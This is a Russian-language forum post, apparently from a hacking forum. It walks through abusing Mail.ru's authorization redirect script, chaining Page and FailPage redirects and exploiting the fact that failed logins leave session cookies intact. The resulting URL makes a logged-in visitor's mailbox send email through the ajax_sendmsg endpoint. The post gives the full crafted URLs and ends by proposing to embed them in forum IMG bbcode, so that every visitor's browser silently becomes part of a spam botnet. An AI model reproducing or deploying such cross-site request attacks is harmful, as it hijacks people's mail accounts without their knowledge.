Примеры реализации. Вариант 2
Продолжая изучение мэйлру, в самом низу списка папок почтового ящика заметил
"Архив М-Агента".
Так как мэйл-агентом я не пользовался, архив оказался пуст и мне предложили на выбор 2 ссылки -
"Загрузить программу Mail.Ru Агент" и
"Воспользоваться веб-версией Mail.Ru Агента"
Посмотрел исходник страницы. Первая ссылка обычная -
Вторая оказалась интересней. Она через
window.open открывала окно
http://swa.mail.ru/cgi-bin/auth?Page=http%3A//webagent.mail.ru/webagent&FailPage=http%3A//webagent.mail.ru/auth
Это обычный скрипт авторизации, но без параметров
Login,
Domain и
Password. Если аккаунт уже авторизован, редирект на
Page, если нет - на
FailPage.
Из других поддоменов запрос работает только на
e.mail.ru, с остальных идет перенаправление на
/cgi-bin/start
Во время тестов столкнулся с проблемой. После авторизации аккаунта запрос
http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ вместо прямого редиректа выдает
В этом случае работа через тэг
img становится невозможной.
[offtop]Вместо
http://img.mail.ru/r/dumb.gif нашел более короткую ссылку на картинку 1x1px -
http://mail.ru/zero. В дальнейших примерах буду использовать ее
[/offtop]
Проверив различные варианты, обнаружил, что после отправки запроса
http://auth.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ (с последующим редиректом на
http://win.mail.ru/cgi-bin/start) тот же запрос на
e.mail.ru выдает уже прямой редирект
"Location: http://mail.ru/zero". То есть, после одного прямого редиректа, все остальные редиректы так же становятся прямыми.
Дальше удалось выяснить интересную особенность мэйлру -
при неудачной авторизации куки не очищаются. Это значит, что с авторизованного аккаунта мэйлру можно выполнить заведомо неверный запрос авторизации и при этом не потерять текущую сессию.
Для редиректа на
FailPage достаточно указать хотя бы один обязательный параметр авторизации -
Domain,
Login или
Password. Самый короткий параметр -
Login, поэтому выбираем его.
http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero%26FailPage=http://img.mail.ru/
Теперь у нас есть возможность выбирать редиректы в зависимости от следующих ситуаций:
1) пользователь авторизован
2) пользователь не авторизован
3) авторизация прошла успешно
4)ошибка авторизации
Так же есть возможность отправить письмо
GET-запросом.
Здесь начинается самое интересное. Меняем параметры запроса (красное - то, что было. зеленое - то, что стало):
http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?
Page=http://mail.ru/zero
Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]
%26FailPage=http://img.mail.ru/
%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526page=../img/at.png%2526FailPage=
Еще одна замена:
http://m.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526
page=../img/at.png%2526FailPage=
page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send _msg%252526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]
Результат:
http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"
[Кому]
","Subject":"
[Тема]
","Body":"
[Содержание]
","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=
[Логин]
%2526Password=
[Пароль]
%2526page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send _msg%252526data=[{"To":"
[Кому]
","Subject":"
[Тема]
","Body":"
[Содержание]
","HTMLMessage":1,"send":1}]
Полученная ссылка проверяет авторизацию пользователя на мэйлру. Если он авторизован, отправляется письмо. Если не авторизован, происходит авторизация и отправляется письмо.
Исходник скрипта выкладывать не буду, потому что он почти ничем не отличается от
/showpost.php?p=2706687&postcount=12
Ссылка на скрипт-картинку вставляется в бб-код
IMG и рассылается по форумам. Каждый человек, открывший страницу форума, автоматически становится частью ботнета.